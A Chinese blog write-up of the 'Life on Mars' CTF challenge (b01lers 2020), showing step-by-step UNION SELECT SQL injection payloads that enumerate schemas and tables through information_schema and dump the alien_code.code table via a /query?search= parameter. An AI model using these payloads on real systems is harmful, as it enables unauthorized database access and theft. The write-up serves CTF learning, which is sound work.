[b01lers2020]Life on Mars 一个接口的sql schema.schemate表

双层小牛堡

于 2023-12-07 21:16:33 发布

阅读量595

点赞数 10

分类专栏： BUUctf 文章标签： sql 数据库

本文链接：https://blog.csdn.net/m0_64180167/article/details/134865187

版权

BUUctf 专栏收录该内容

58 篇文章

订阅专栏

文章描述了一次网络抓包过程中发现的SQL注入漏洞，攻击者逐步利用unionselect语句获取数据库信息，包括database()、table_name和code表的数据。最终目标是通过`/query?search=`接口进行数据窃取。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

这里还是很简单的

啥也没有

然后抓包看看

发现传递参数直接尝试sql

然后如果正确就会返回值否则返回1

chryse_planitia union select database(),version()

发现回显直接开始注入

chryse_planitia union select database(),version()


chryse_planitia union select database(),group_concat(table_name) from information_schema.tables where table_schema="aliens"

太多了不切实际一个一个查看看有没有其他数据库

chryse_planitia union select database(),group_concat(schema_name) from information_schema.schemata

然后就是正常的注入

最后查值的时候

from alien_code.code 即可

/query?search=amazonis_planitia union select 1,group_concat(code) from alien_code.code